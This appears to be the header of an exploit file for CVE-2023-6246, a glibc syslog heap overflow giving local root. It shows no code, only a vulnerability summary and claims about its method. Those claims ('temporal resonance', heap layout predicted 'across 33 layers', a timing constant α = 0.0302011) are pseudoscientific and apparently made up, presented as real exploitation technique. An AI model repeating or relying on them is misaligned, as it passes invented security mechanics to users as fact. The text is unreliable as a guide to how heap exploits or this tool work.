CTT-Vsyslog-Vortex: Temporal Resonance Exploit for CVE-2023-6246
Copyright (c) 2026 Americo Simoes. All Rights Reserved.

CVE-2023-6246: Heap-based buffer overflow in glibc's __vsyslog_internal()
Affects glibc 2.37, 2.36 (backported)
Local Privilege Escalation to root

Standard exploitation is unreliable due to heap layout randomization.
CTT adds temporal coherence to predict heap layout across 33 layers.

α = 0.0302011 governs the timing of heap spray.
33-layer temporal decomposition ensures the overflow lands on target.
